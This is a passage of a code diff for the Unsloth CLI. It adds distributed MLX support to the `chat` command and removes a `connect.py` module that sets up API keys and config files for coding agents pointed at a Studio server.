+                "Distributed `unsloth chat` with MPI needs rank-0 prompt broadcast, "
+                "which is not enabled yet. Use a non-MPI MLX launcher backend "
+                "such as ring/JACCL for now.",
+                style = "red",
+                markup = False,
+            )
+        raise typer.Exit(code = 1)
 
     if model is None:
+        if is_mlx_distributed:
+            if should_print:
+                err.print(
+                    "Distributed `unsloth chat` requires an explicit model id or path.",
+                    style = "red",
+                    markup = False,
+                )
+            raise typer.Exit(code = 1)
         model = _pick_trained_model(console)
 
     # Resolve first so --compare can be rejected before the slow load.
-    model_config = resolve_model_config(model, hf_token = hf_token)
+    with quiet_if_nonzero_mlx_rank():
+        model_config = resolve_model_config(model, hf_token = hf_token)
     compare_blocked = _compare_blocked_reason(model_config)
+    if is_mlx_distributed:
+        compare_blocked = (
+            "distributed MLX chat does not support compare mode yet because it "
+            "would need a second distributed worker group on the same ranks"
+        )
     if compare and compare_blocked:
-        err.print(f"--compare unavailable: {compare_blocked}", style = "red", markup = False)
+        if should_print:
+            err.print(f"--compare unavailable: {compare_blocked}", style = "red", markup = False)
         raise typer.Exit(code = 1)
 
     load_opts = dict(
@@ -215,9 +263,11 @@ def chat(
     )
 
     # Prefer a running Studio server: instant starts, model shared with the UI.
-    chat_backend = None if no_server else connect_studio_server(model, **load_opts)
+    chat_backend = (
+        None if (no_server or is_mlx_distributed) else connect_studio_server(model, **load_opts)
+    )
     server_mode = chat_backend is not None
-    if server_mode:
+    if server_mode and should_print:
         console.print(
             "(Studio server connected — model stays warm after /exit)",
             style = "bright_black",
@@ -242,23 +292,26 @@ def chat(
             return True
         base_id = model_config.base_model
         if not base_id:
-            console.print(
-                "(compare unavailable: this adapter doesn't record its base model)",
-                style = "yellow",
-            )
+            if should_print:
+                console.print(
+                    "(compare unavailable: this adapter doesn't record its base model)",
+                    style = "yellow",
+                )
             return False
-        console.print(
-            f"(loading base model {base_id} for compare — keeps two models in memory)",
-            style = "bright_black",
-            markup = False,
-        )
+        if should_print:
+            console.print(
+                f"(loading base model {base_id} for compare — keeps two models in memory)",
+                style = "bright_black",
+                markup = False,
+            )
         try:
             # Use the same precision as the tuned model for fair comparison
             base_load_opts = dict(load_opts)  # Copy original options
             base_load_opts["load_in_4bit"] = _get_base_load_in_4bit(model_config)
             base_backend = load_chat_backend(base_id, fresh_backend = True, **base_load_opts)
         except Exception as exc:
-            err.print(f"(base model load failed: {exc})", style = "red", markup = False)
+            if should_print:
+                err.print(f"(base model load failed: {exc})", style = "red", markup = False)
             return False
         return True
 
@@ -267,7 +320,7 @@ def chat(
 
     def generate(backend = None, use_adapter = None):
         # Reads messages and show_thinking live, so /reset and /think apply.
-        return (backend or chat_backend).stream(
+        stream = (backend or chat_backend).stream(
             messages,
             system_prompt = system_prompt,
             temperature = temperature,
@@ -278,22 +331,48 @@ def chat(
             enable_thinking = show_thinking,
             use_adapter = use_adapter,
         )
+        return raise_on_streamed_error(stream) if is_mlx_distributed else stream
 
-    console.print()
-    console.print(f"Chatting with {name}", style = "bold green", markup = False)
-    console.print(_HELP, style = "bright_black")
+    if should_print:
+        console.print()
+        console.print(f"Chatting with {name}", style = "bold green", markup = False)
+        console.print(_HELP, style = "bright_black")
 
     # legacy_windows: pre-VT consoles print raw ANSI as ←[1;36m garbage.
-    you_prompt = _you_prompt(console.is_terminal and not console.legacy_windows)
+    you_prompt = (
+        _you_prompt(console.is_terminal and not console.legacy_windows) if should_print else ""
+    )
     assistant_label = "[bold magenta]Assistant:[/bold magenta]"
 
     try:
         while True:
-            try:
-                user = input(you_prompt).strip()
-            except (EOFError, KeyboardInterrupt):
-                console.print()
-                break
+            if should_print:
+                try:
+                    user = input(you_prompt).strip()
+                except (EOFError, KeyboardInterrupt):
+                    if should_print:
+                        console.print()
+                    user = "/exit"
+                turn = {"type": "turn", "text": user}
+            else:
+                turn = None
+
+            if is_mlx_distributed:
+                try:
+                    turn = chat_backend.share_distributed_object(turn, timeout = None)
+                    if not should_print:
+                        _drain_available_stdin()
+                except Exception as exc:
+                    if should_print:
+                        err.print(
+                            f"\n(error sharing chat turn: {exc})",
+                            style = "red",
+                            markup = False,
+                        )
+                    raise typer.Exit(code = 1)
+            if not turn:
+                continue
+            user = str(turn.get("text", "")).strip()
 
             if not user:
                 continue
@@ -301,55 +380,69 @@ def chat(
                 break
             if user == "/reset":
                 messages = []
-                console.print("(history cleared)", style = "bright_black")
+                if should_print:
+                    console.print("(history cleared)", style = "bright_black")
                 continue
             if user == "/think":
                 show_thinking = not show_thinking
-                state = "on" if show_thinking else "off"
-                console.print(f"(thinking {state})", style = "bright_black")
+                if should_print:
+                    state = "on" if show_thinking else "off"
+                    console.print(f"(thinking {state})", style = "bright_black")
                 continue
             if user == "/compare":
                 if compare_blocked:
-                    console.print(f"(compare unavailable: {compare_blocked})", style = "yellow")
+                    if should_print:
+                        console.print(f"(compare unavailable: {compare_blocked})", style = "yellow")
                     continue
                 if not compare_mode and dual_compare and not load_base_for_compare():
                     continue
                 compare_mode = not compare_mode
-                state = "on" if compare_mode else "off"
-                console.print(f"(compare {state})", style = "bright_black")
+                if should_print:
+                    state = "on" if compare_mode else "off"
+                    console.print(f"(compare {state})", style = "bright_black")
                 continue
             if user in ("/help", "/?"):
-                console.print(_HELP, style = "bright_black")
+                if should_print:
+                    console.print(_HELP, style = "bright_black")
                 continue
 
             messages.append({"role": "user", "content": user})
 
             try:
                 if compare_mode:
-                    console.print("(comparing base vs tuned…)", style = "bright_black")
+                    if should_print:
+                        console.print("(comparing base vs tuned…)", style = "bright_black")
                     if dual_compare:
                         base_text = collect_stream(generate(backend = base_backend), show_thinking)
                         tuned_text = collect_stream(generate(), show_thinking)
                     else:
                         base_text = collect_stream(generate(use_adapter = False), show_thinking)
                         tuned_text = collect_stream(generate(use_adapter = True), show_thinking)
-                    console.print()
-                    render_columns(
-                        "base", base_text, f"{name} (tuned)", tuned_text, console = console
-                    )
+                    if should_print:
+                        console.print()
+                        render_columns(
+                            "base", base_text, f"{name} (tuned)", tuned_text, console = console
+                        )
                     # History continues as the tuned model; base is just the reference.
                     answer = tuned_text
                 else:
-                    console.print(assistant_label)
-                    answer = stream_markdown(generate(), show_thinking, console = console)
+                    if should_print:
+                        console.print(assistant_label)
+                        answer = stream_markdown(generate(), show_thinking, console = console)
+                    else:
+                        answer = collect_stream(generate(), show_thinking)
             except KeyboardInterrupt:
                 # Ctrl-C aborts this answer only; drop the unanswered turn.
-                console.print("\n(interrupted)", style = "bright_black")
+                if should_print:
+                    console.print("\n(interrupted)", style = "bright_black")
                 messages.pop()
                 continue
             except Exception as exc:
-                err.print(f"\n(error: {exc})", style = "red", markup = False)
+                if should_print:
+                    err.print(f"\n(error: {exc})", style = "red", markup = False)
                 messages.pop()
+                if is_mlx_distributed:
+                    raise typer.Exit(code = 1)
                 continue
 
             messages.append(
@@ -359,4 +452,5 @@ def chat(
         chat_backend.close()
         if base_backend is not None:
             base_backend.close()
-        err.print("\nBye.", style = "bright_black")
+        if should_print:
+            err.print("\nBye.", style = "bright_black")
diff --git a/unsloth_cli/commands/connect.py b/unsloth_cli/commands/connect.py
deleted file mode 100644
index 096a7925e5..0000000000
--- a/unsloth_cli/commands/connect.py
+++ /dev/null
@@ -1,777 +0,0 @@
-# SPDX-License-Identifier: AGPL-3.0-only
-# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
-
-"""`unsloth connect` — launch a coding agent against a running Studio server."""
-
-import json
-import os
-import re
-import shlex
-import shutil
-import signal
-import subprocess
-import urllib.error
-import urllib.request
-from pathlib import Path
-from typing import NoReturn, Optional
-
-import typer
-
-from unsloth_cli._inference import (
-    _USER_AGENT,
-    _studio_token,
-    ensure_studio_backend_path,
-    find_studio_server,
-    is_loopback_url,
-    urlopen_no_redirect,
-    verify_studio_identity,
-)
-
-connect_app = typer.Typer(
-    help = "Connect a coding agent to a running Studio server.",
-    no_args_is_help = True,
-    context_settings = {"help_option_names": ["-h", "--help"]},
-)
-
-_CODEX_PROFILE = "unsloth_api"
-_CODEX_ENV_KEY = "UNSLOTH_STUDIO_AUTH_TOKEN"
-_HERMES_ENV_KEY = "UNSLOTH_API_KEY"
-_HERMES_PROVIDER = "unsloth"
-_PROVIDER_HEADER = f"[model_providers.{_CODEX_PROFILE}]"
-_PASSTHROUGH = {"allow_extra_args": True, "ignore_unknown_options": True}
-_CLAUDE_ENV_UNSET = ("ANTHROPIC_API_KEY", "CLAUDE_CODE_OAUTH_TOKEN")
-
-# Shared by every agent command; only the config/env/command differ.
-_MODEL_OPTION = typer.Option(
-    None, "--model", "-m", help = "Model for the agent; defaults to the one loaded in Studio."
-)
-_KEY_OPTION = typer.Option(
-    None,
-    "--api-key",
-    envvar = "UNSLOTH_API_KEY",
-    help = (
-        "Studio API key. For a local Studio it is minted automatically and "
-        "remembered per server. For a remote server, pass one with --api-key "
-        "(or UNSLOTH_API_KEY); it is remembered for next time."
-    ),
-)
-_LAUNCH_OPTION = typer.Option(
-    True,
-    "--launch/--no-launch",
-    help = "--no-launch prints the env and command instead (remote shells, WSL).",
-)
-
-
-def _fail(message: str) -> NoReturn:
-    typer.echo(message, err = True)
-    raise typer.Exit(code = 1)
-
-
-def _http_error_detail(exc: urllib.error.HTTPError) -> str:
-    try:
-        body = json.loads(exc.read().decode())
-        return body.get("detail") or body["error"]["message"]
-    except Exception:
-        return str(exc)
-
-
-def _http_json(
-    method: str,
-    url: str,
-    token: str,
-    payload = None,
-    timeout = 30,
-    error = None,
-):
-    """On HTTPError: raise if `error` is None, else fail with `error` plus the server's detail."""
-    request = urllib.request.Request(
-        url,
-        data = None if payload is None else json.dumps(payload).encode(),
-        headers = {
-            "Authorization": f"Bearer {token}",
-            "Content-Type": "application/json",
-            "User-Agent": _USER_AGENT,
-        },
-        method = method,
-    )
-    try:
-        # No redirects: a 3xx would leak this bearer token to an unvetted base.
-        with urlopen_no_redirect(request, timeout = timeout) as response:
-            return json.loads(response.read().decode() or "{}")
-    except urllib.error.HTTPError as exc:
-        if error is None:
-            raise
-        _fail(f"{error}: {_http_error_detail(exc)}")
-    except (urllib.error.URLError, TimeoutError) as exc:
-        if error is None:
-            raise
-        _fail(f"{error}: {getattr(exc, 'reason', None) or exc}")
-
-
-def _require_studio() -> str:
-    base = find_studio_server()
-    if base is None:
-        expected = os.environ.get("UNSLOTH_STUDIO_URL", "http://127.0.0.1:8888")
-        _fail(
-            f"No running Studio server found at {expected}. Start one with "
-            "`unsloth studio`, or point UNSLOTH_STUDIO_URL at a remote server."
-        )
-    return base
-
-
-def _key_cache_path() -> Path:
-    ensure_studio_backend_path()
-    from utils.paths import auth_root
-    return auth_root() / "agent_api_key.json"
-
-
-def _read_cache(cache: Path) -> dict:
-    try:
-        data = json.loads(cache.read_text(encoding = "utf-8"))
-    except Exception:
-        return {}
-    return data if isinstance(data, dict) else {}
-
-
-def _server_buckets(servers: dict, base: str) -> dict:
-    # Normalise a server's entry to {"saved": [...], "minted": [...]}, tolerating a
-    # corrupt/legacy value (bare string/list -> treated as minted, behind the handshake).
-    entry = servers.get(base) if isinstance(servers, dict) else None
-    if isinstance(entry, list):
-        return {"saved": [], "minted": [k for k in entry if isinstance(k, str)]}
-    if not isinstance(entry, dict):
-        return {"saved": [], "minted": []}
-
-    def _strs(name: str) -> list:
-        value = entry.get(name)
-        return [k for k in value if isinstance(k, str)] if isinstance(value, list) else []
-
-    return {"saved": _strs("saved"), "minted": _strs("minted")}
-
-
-def _cached_keys(cache: Path, base: str, source: str) -> list:
-    # Keys are scoped per server. `source` splits user-supplied --api-key keys
-    # ("saved", trusted for that base) from auto-minted ones ("minted", replayed
-    # only after the identity check). Legacy unscoped caches are ignored.
-    return _server_buckets(_read_cache(cache).get("servers", {}), base)[source]
-
-
-def _write_private_json(path: Path, data: dict) -> None:
-    # O_CREAT with 0o600 so a file holding an API key is never world-readable,
-    # even briefly (existing files keep whatever perms the user set).
-    path.parent.mkdir(parents = True, exist_ok = True, mode = 0o700)
-    fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
-    with os.fdopen(fd, "w") as handle:
-        handle.write(json.dumps(data, indent = 2) + "\n")
-
-
-def _read_json_object(path: Path) -> Optional[dict]:
-    # {} when missing, None when it can't be parsed as an object (so the caller
-    # leaves a user-managed file untouched rather than clobbering it).
-    if not path.exists():
-        return {}
-    try:
-        data = json.loads(path.read_text(encoding = "utf-8"))
-    except (ValueError, OSError):
-        return None
-    return data if isinstance(data, dict) else None
-
-
-def _subdict(parent: dict, key: str) -> dict:
-    child = parent.get(key)
-    if not isinstance(child, dict):
-        child = parent[key] = {}
-    return child
-
-
-def _remember_key(cache: Path, base: str, key: str, source: str) -> None:
-    data = _read_cache(cache)
-    servers = data.get("servers")
-    if not isinstance(servers, dict):
-        servers = data["servers"] = {}
-    buckets = _server_buckets(servers, base)
-    other = "minted" if source == "saved" else "saved"
-    buckets[source] = ([key] + [k for k in buckets[source] if k != key])[:8]
-    buckets[other] = [k for k in buckets[other] if k != key]  # a key has one provenance
-    new_entry = {"saved": buckets["saved"], "minted": buckets["minted"]}
-    if servers.get(base) == new_entry:
-        return
-    servers[base] = new_entry
-    # Collapse legacy unscoped fields.
-    data.pop("keys", None)
-    data.pop("key", None)
-    try:
-        _write_private_json(cache, data)
-    except OSError:
-        pass  # worst case the next launch mints another key
-
-
-def _key_accepted(base: str, key: str) -> bool:
-    try:
-        _http_json("GET", f"{base}/v1/models", key)
-        return True
-    except Exception:
-        return False
-
-
-def _agent_api_key(base: str, explicit: Optional[str]) -> str:
-    cache = _key_cache_path()
-    if explicit:
-        _remember_key(cache, base, explicit, "saved")
-        return explicit
-
-    # Replay a key the user saved for *this exact* server first (scoped per base,
-    # so it only goes back there -- including a remote/SSH-tunnelled Studio whose
-    # secret the local handshake can't match). Skip ones the server rejects.
-    for key in _cached_keys(cache, base, "saved"):
-        if _key_accepted(base, key):
-            _remember_key(cache, base, key, "saved")
-            return key
-
-    # Beyond here we auto-mint or replay an auto-minted key. find_studio_server()
-    # trusts a base after only a health check, so both are limited to a loopback
-    # server we can cryptographically confirm is ours.
-    if not is_loopback_url(base):
-        _fail(
-            f"No saved API key for {base} and automatic minting only runs against "
-            "a local Studio. Create an API key in Studio → Settings → API and "
-            "pass it with --api-key (it is remembered per server), or set "
-            "UNSLOTH_API_KEY."
-        )
-    if not verify_studio_identity(base):
-        _fail(
-            f"Couldn't verify that {base} is your Studio (it may be running as a "
-            "different OS user, or another process took the port). Create an API "
-            "key in Studio → Settings → API and pass it with --api-key, or set "
-            "UNSLOTH_API_KEY."
-        )
-
-    # Identity verified: replay a previously auto-minted key, else mint a new one.
-    for key in _cached_keys(cache, base, "minted"):
-        if _key_accepted(base, key):
-            _remember_key(cache, base, key, "minted")
-            return key
-
-    # Self-issue a JWT (signed with the local secret) and mint a key.
-    token = _studio_token()
-    if token is None:
-        _fail(
-            "Couldn't authenticate with the Studio server automatically. Create "
-            "an API key in Studio → Settings → API and pass it with --api-key, "
-            "or set UNSLOTH_API_KEY."
-        )
-    key = _http_json(
-        "POST",
-        f"{base}/api/auth/api-keys",
-        token,
-        {"name": "Coding agents (unsloth connect)"},
-        error = "Couldn't create an API key",
-    )["key"]
-    _remember_key(cache, base, key, "minted")
-    return key
-
-
-def _loaded_models(base: str, key: str) -> list:
-    return _http_json("GET", f"{base}/v1/models", key, error = "Couldn't list models").get("data", [])
-
-
-def _resolve_model(base: str, key: str, requested: Optional[str]) -> dict:
-    models = _loaded_models(base, key)
-    match = next((m for m in models if m["id"] == requested), None)
-    if requested and match is None:
-        typer.echo(f"Loading {requested} on the Studio server (this can take a while)…")
-        loaded = _http_json(
-            "POST",
-            f"{base}/api/inference/load",
-            key,
-            {"model_path": requested},
-            timeout = 3600,
-            error = "Model load failed",
-        )
-        # Studio registers the model under a canonical id (resolved identifier,
-        # casing) that /v1/models echoes but which may differ from the path we
-        # passed; match on the id the load reports so we don't silently fall
-        # through to models[0] and connect to a different loaded model.
-        wanted = {requested}
-        if isinstance(loaded, dict):
-            wanted |= {loaded.get("model"), loaded.get("display_name")} - {None}
-        models = _loaded_models(base, key)
-        match = next((m for m in models if m["id"] in wanted), None)
-    if match is not None:
-        return match
-    if requested:
-        # We asked Studio to load it and it didn't surface in /v1/models; don't
-        # silently hand back an unrelated loaded model.
-        _fail(
-            f"Studio didn't report '{requested}' as loaded. Double-check the model "
-            "id, or load it from the model dropdown in the UI."
-        )
-    if not models:
-        _fail(
-            "No model is loaded in Studio. Load one from the model dropdown in "
-            "the UI, or pass --model <hf-id-or-path> to load it from here."
-        )
-    return models[0]
-
-
-def _require_gguf_for_codex(base: str, key: str, model_id: str) -> None:
-    # Codex always streams, and Studio only streams /v1/responses from llama-server.
-    try:
-        status = _http_json("GET", f"{base}/api/inference/status", key)
-    except urllib.error.HTTPError as exc:
-        if exc.code == 404:
-            return  # older server without the endpoint; don't block the launch
-        raise
-    if status.get("is_gguf"):
-        return
-    hint = model_id if "gguf" in model_id.lower() else f"{model_id}-GGUF"
-    _fail(
-        f"Codex needs a GGUF model served by llama-server, but {model_id} is on "
-        f"the transformers backend. Try: unsloth connect codex --model {hint}"
-    )
-
-
-def claude_settings_path() -> Path:
-    return Path.home() / ".claude" / "settings.json"
-
-
-def ensure_claude_attribution_header() -> None:
-    # The header invalidates the llama.cpp KV cache (~90% slower) and Claude
-    # Code only honors this setting from settings.json, not the env var.
-    path = claude_settings_path()
-    settings = {}
-    if path.exists():
-        try:
-            settings = json.loads(path.read_text(encoding = "utf-8"))
-        except (ValueError, OSError):
-            settings = None
-        if not isinstance(settings, dict):
-            typer.echo(
-                f"Warning: couldn't parse {path} — set CLAUDE_CODE_ATTRIBUTION_HEADER "
-                'to "0" in its "env" section yourself, or local inference will be much slower.',
-                err = True,
-            )
-            return
-    env = settings.get("env")
-    if not isinstance(env, dict):
-        env = settings["env"] = {}
-    if str(env.get("CLAUDE_CODE_ATTRIBUTION_HEADER")) == "0":
-        return
-    env["CLAUDE_CODE_ATTRIBUTION_HEADER"] = "0"
-    try:
-        path.parent.mkdir(parents = True, exist_ok = True)
-        path.write_text(json.dumps(settings, indent = 2) + "\n", encoding = "utf-8")
-    except OSError:
-        typer.echo(
-            f"Warning: couldn't write {path} — set CLAUDE_CODE_ATTRIBUTION_HEADER "
-            'to "0" in its "env" section yourself, or local inference will be much slower.',
-            err = True,
-        )
-        return
-    typer.echo(f"Disabled Claude Code's attribution header in {path} (it breaks KV-cache reuse).")
-
-
-_DYNAMIC_SECTIONS_FLAG = "--exclude-dynamic-system-prompt-sections"
-
-
-def _claude_cache_flags() -> list:
-    # The flag moves per-machine context (cwd, env info, git status) out of
-    # the system prompt, where it changes every session and defeats llama.cpp
-    # prefix caching. As of 2.1.175 it only takes effect in print mode (`-p`
-    # passed through ctx.args); interactive sessions accept and ignore it.
-    # Claude Code < 2.1.98 aborts on the unknown flag, so check the version
-    # first; no local binary means a --no-launch printout for another machine.
-    executable = shutil.which("claude")
-    if executable is None:
-        return [_DYNAMIC_SECTIONS_FLAG]
-    try:
-        result = subprocess.run(
-            [executable, "--version"], capture_output = True, text = True, timeout = 10
-        )
-        version = tuple(int(part) for part in result.stdout.split()[0].split("."))
-    except Exception:
-        return []
-    return [_DYNAMIC_SECTIONS_FLAG] if version >= (2, 1, 98) else []
-
-
-def codex_home() -> Path:
-    return Path(os.environ.get("CODEX_HOME") or Path.home() / ".codex")
-
-
-def _merge_codex_config(existing: str, base: str) -> str:
-    chunks = re.split(r"(?m)^(?=\[)", existing)  # preamble, then one chunk per table
-    if not re.search(r"(?m)^\s*oss_provider\s*=", chunks[0]):
-        if chunks[0] and not chunks[0].endswith("\n"):
-            chunks[0] += "\n"
-        chunks[0] += f'oss_provider = "{_CODEX_PROFILE}"\n'
-    # Drop the provider table and any stale [model_providers.unsloth_api.*] subtables.
-    stale = (_PROVIDER_HEADER, _PROVIDER_HEADER[:-1] + ".")
-    text = "".join(c for c in chunks if not c.startswith(stale))
-    if not text.endswith("\n"):
-        text += "\n"
-    if not text.endswith("\n\n"):
-        text += "\n"
-    return text + (
-        f"{_PROVIDER_HEADER}\n"
-        'name = "Unsloth Studio"\n'
-        f"base_url = {json.dumps(base + '/v1')}\n"
-        f'env_key = "{_CODEX_ENV_KEY}"\n'
-        'wire_api = "responses"\n'
-        "requires_openai_auth = false\n"
-    )
-
-
-def write_codex_config(base: str, model: dict) -> None:
-    home = codex_home()
-    home.mkdir(parents = True, exist_ok = True)
-
-    config = home / "config.toml"
-    existing = config.read_text(encoding = "utf-8") if config.exists() else ""
-    merged = _merge_codex_config(existing, base)
-    if merged != existing:
-        config.write_text(merged, encoding = "utf-8")
-        typer.echo(f"Updated {config}")
-
-    # oss_provider here too: codex --oss picks the provider from it, and the
-    # profile layer must beat a user-set value (e.g. "ollama") in config.toml.
-    profile_text = (
-        f'oss_provider = "{_CODEX_PROFILE}"\n'
-        f'model_provider = "{_CODEX_PROFILE}"\n'
-        f"model = {json.dumps(model['id'])}\n"
-    )
-    window = model.get("context_length") or model.get("max_context_length")
-    if window:
-        profile_text += f"model_context_window = {int(window)}\n"
-    profile = home / f"{_CODEX_PROFILE}.config.toml"
-    if not profile.exists() or profile.read_text(encoding = "utf-8") != profile_text:
-        profile.write_text(profile_text, encoding = "utf-8")
-        typer.echo(f"Updated {profile}")
-
-
-def _wsl_windows_executable(command: list) -> Optional[str]:
-    if os.name == "nt" or not os.environ.get("WSL_DISTRO_NAME"):
-        return None
-    executable = shutil.which(command[0])
-    if executable and executable.startswith("/mnt/"):
-        return executable
-    return None
-
-
-def _merge_wslenv(current: str, names: tuple) -> str:
-    entries = [entry for entry in current.split(":") if entry]
-    existing = {entry.split("/", 1)[0] for entry in entries}
-    entries.extend(name for name in names if name not in existing)
-    return ":".join(entries)
-
-
-def _print_env(
-    env: dict,
-    command: list,
-    unset_env: tuple = (),
-    wsl_env_bridge: tuple = (),
-) -> None:
-    if os.name == "nt":
-        for name in unset_env:
-            typer.echo(f"Remove-Item Env:{name} -ErrorAction SilentlyContinue")
-        for name, value in env.items():
-            # PowerShell: ` is the escape char, and $ triggers expansion inside "".
-            escaped = value.replace("`", "``").replace('"', '`"').replace("$", "`$")
-            typer.echo(f'$env:{name} = "{escaped}"')
-        typer.echo(subprocess.list2cmdline(command))
-        return
-    for name in unset_env:
-        typer.echo(f"export {name}=" if wsl_env_bridge else f"unset {name}")
-    for name, value in env.items():
-        typer.echo(f"export {name}={shlex.quote(value)}")
-    if wsl_env_bridge:
-        typer.echo(
-            f"export WSLENV={shlex.quote(_merge_wslenv(os.environ.get('WSLENV', ''), wsl_env_bridge))}"
-        )
-    typer.echo(shlex.join(command))
-
-
-def _launch(
-    command: list,
-    env: dict,
-    install_hint: str,
-    unset_env: tuple = (),
-) -> NoReturn:
-    executable = shutil.which(command[0])
-    if executable is None:
-        _fail(f"`{command[0]}` not found on PATH. Install it with: {install_hint}")
-    wsl_env_bridge = (
-        tuple(dict.fromkeys((*env.keys(), *unset_env))) if _wsl_windows_executable(command) else ()
-    )
-    child_env = dict(os.environ)
-    if wsl_env_bridge:
-        child_env["WSLENV"] = _merge_wslenv(child_env.get("WSLENV", ""), wsl_env_bridge)
-        for name in unset_env:
-            child_env[name] = ""
-    else:
-        for name in unset_env:
-            child_env.pop(name, None)
-    child_env.update(env)
-    # Ctrl+C cancels a turn inside the agent; don't let it kill this wrapper.
-    previous = signal.signal(signal.SIGINT, signal.SIG_IGN)
-    try:
-        code = subprocess.run([executable, *command[1:]], env = child_env).returncode
-    finally:
-        signal.signal(signal.SIGINT, previous)
-    # Negative returncode means killed by signal N; shells expect 128+N.
-    raise typer.Exit(code = code if code >= 0 else 128 - code)
-
-
-def _connect(api_key: Optional[str], model: Optional[str]) -> tuple:
-    base = _require_studio()
-    key = _agent_api_key(base, api_key)
-    return base, key, _resolve_model(base, key, model)
-
-
-def _run(
-    base: str,
-    entry: dict,
-    env: dict,
-    command: list,
-    *,
-    launch: bool,
-    install_hint: str,
-    unset_env: tuple = (),
-) -> None:
-    typer.echo(f"Studio {base} · model {entry['id']}")
-    wsl_env_bridge = (
-        tuple(dict.fromkeys((*env.keys(), *unset_env))) if _wsl_windows_executable(command) else ()
-    )
-    if not launch:
-        _print_env(env, command, unset_env = unset_env, wsl_env_bridge = wsl_env_bridge)
-        return
-    _launch(command, env, install_hint = install_hint, unset_env = unset_env)
-
-
-def openclaw_config_path() -> Path:
-    return Path.home() / ".openclaw" / "openclaw.json"
-
-
-def write_openclaw_config(base: str, key: str, model: dict) -> None:
-    path = openclaw_config_path()
-    config = _read_json_object(path)
-    if config is None:
-        typer.echo(
-            f"Warning: couldn't parse {path} — add an 'unsloth' provider there "
-            "yourself, or move the file aside and re-run.",
-            err = True,
-        )
-        return
-    before = json.dumps(config, sort_keys = True)
-    # Studio is a generic OpenAI-compatible /v1 endpoint (the vLLM/LM Studio path).
-    provider_model = {"id": model["id"], "name": model["id"]}
-    window = model.get("context_length") or model.get("max_context_length")
-    if window:
-        provider_model["contextWindow"] = int(window)
-    models = _subdict(config, "models")
-    models.setdefault("mode", "merge")
-    _subdict(models, "providers")["unsloth"] = {
-        "baseUrl": f"{base}/v1",
-        "apiKey": key,
-        "api": "openai-completions",
-        "models": [provider_model],
-    }
-    # Pin a default model, else OpenClaw drops into its setup agent ("no models available").
-    defaults = _subdict(_subdict(config, "agents"), "defaults")
-    _subdict(defaults, "model")["primary"] = f"unsloth/{model['id']}"
-    # Unauthenticated loopback gateway: without auth.mode=none the client won't open
-    # the websocket. The daemon must still be started separately (`openclaw gateway`).
-    gateway = _subdict(config, "gateway")
-    gateway.setdefault("mode", "local")
-    _subdict(gateway, "auth").setdefault("mode", "none")
-    if json.dumps(config, sort_keys = True) != before:
-        _write_private_json(path, config)
-        typer.echo(f"Updated {path}")
-
-
-def opencode_config_path() -> Path:
-    config_home = os.environ.get("XDG_CONFIG_HOME") or Path.home() / ".config"
-    return Path(config_home) / "opencode" / "opencode.json"
-
-
-def write_opencode_config(base: str, key: str, model: dict) -> None:
-    path = opencode_config_path()
-    config = _read_json_object(path)
-    if config is None:
-        typer.echo(
-            f"Warning: couldn't parse {path} — add an 'unsloth' provider there "
-            "yourself, or move the file aside and re-run.",
-            err = True,
-        )
-        return
-    before = json.dumps(config, sort_keys = True)
-    config.setdefault("$schema", "https://opencode.ai/config.json")
-    _subdict(config, "provider")["unsloth"] = {
-        "npm": "@ai-sdk/openai-compatible",
-        "name": "Unsloth Studio",
-        "options": {"baseURL": f"{base}/v1", "apiKey": key},
-        "models": {model["id"]: {"name": model["id"]}},
-    }
-    # OpenCode selects a model by "<providerID>/<modelID>".
-    config["model"] = f"unsloth/{model['id']}"
-    if json.dumps(config, sort_keys = True) != before:
-        _write_private_json(path, config)
-        typer.echo(f"Updated {path}")
-
-
-def hermes_config_path() -> Path:
-    return Path.home() / ".hermes" / "config.yaml"
-
-
-def write_hermes_config(base: str, model: dict) -> None:
-    import yaml
-
-    path = hermes_config_path()
-    config: dict = {}
-    if path.exists():
-        try:
-            loaded = yaml.safe_load(path.read_text(encoding = "utf-8"))
-        except (yaml.YAMLError, OSError):
-            typer.echo(
-                f"Warning: couldn't parse {path} — configure the custom endpoint "
-                "there yourself, or move the file aside and re-run.",
-                err = True,
-            )
-            return
-        if isinstance(loaded, dict):
-            config = loaded
-        elif loaded is not None:
-            # Non-empty, non-mapping YAML is a user-managed file; leave it.
-            typer.echo(
-                f"Warning: couldn't parse {path} — configure the custom endpoint "
-                "there yourself, or move the file aside and re-run.",
-                err = True,
-            )
-            return
-    # Hermes only reads the key for a *named* custom provider (a bare
-    # `provider: custom` ignores it), so register it under providers.*.
-    _subdict(config, "model").update(
-        provider = f"custom:{_HERMES_PROVIDER}",
-        default = model["id"],
-        api_mode = "openai",
-    )
-    _subdict(config, "providers")[_HERMES_PROVIDER] = {
-        "base_url": f"{base}/v1",
-        "api_mode": "openai",
-        "key_env": _HERMES_ENV_KEY,
-    }
-    text = yaml.safe_dump(config, sort_keys = False)
-    if not path.exists() or path.read_text(encoding = "utf-8") != text:
-        path.parent.mkdir(parents = True, exist_ok = True)
-        path.write_text(text, encoding = "utf-8")
-        typer.echo(f"Updated {path}")
-
-
-@connect_app.command("claude", context_settings = _PASSTHROUGH)
-def claude(
-    ctx: typer.Context,
-    model: Optional[str] = _MODEL_OPTION,
-    api_key: Optional[str] = _KEY_OPTION,
-    launch: bool = _LAUNCH_OPTION,
-):
-    """Point Claude Code at the running Studio server and start it."""
-    base, key, entry = _connect(api_key, model)
-    model_id = entry["id"]
-    ensure_claude_attribution_header()
-
-    env = {
-        "ANTHROPIC_BASE_URL": base,
-        "ANTHROPIC_AUTH_TOKEN": key,
-        "ANTHROPIC_MODEL": model_id,
-        # Update checks, beta features, and other background requests either
-        # stall against a local server or evict the conversation from
-        # llama-server's KV-cache slots, so turn off everything nonessential.
-        "CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC": "1",
-        "CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS": "1",
-    }
-    command = ["claude", "--model", model_id, *_claude_cache_flags(), *ctx.args]
-    install_hint = (
-        "irm https://claude.ai/install.ps1 | iex"
-        if os.name == "nt"
-        else "curl -fsSL https://claude.ai/install.sh | bash"
-    )
-    _run(
-        base,
-        entry,
-        env,
-        command,
-        launch = launch,
-        install_hint = install_hint,
-        unset_env = _CLAUDE_ENV_UNSET,
-    )
-
-
-@connect_app.command("codex", context_settings = _PASSTHROUGH)
-def codex(
-    ctx: typer.Context,
-    model: Optional[str] = _MODEL_OPTION,
-    api_key: Optional[str] = _KEY_OPTION,
-    launch: bool = _LAUNCH_OPTION,
-):
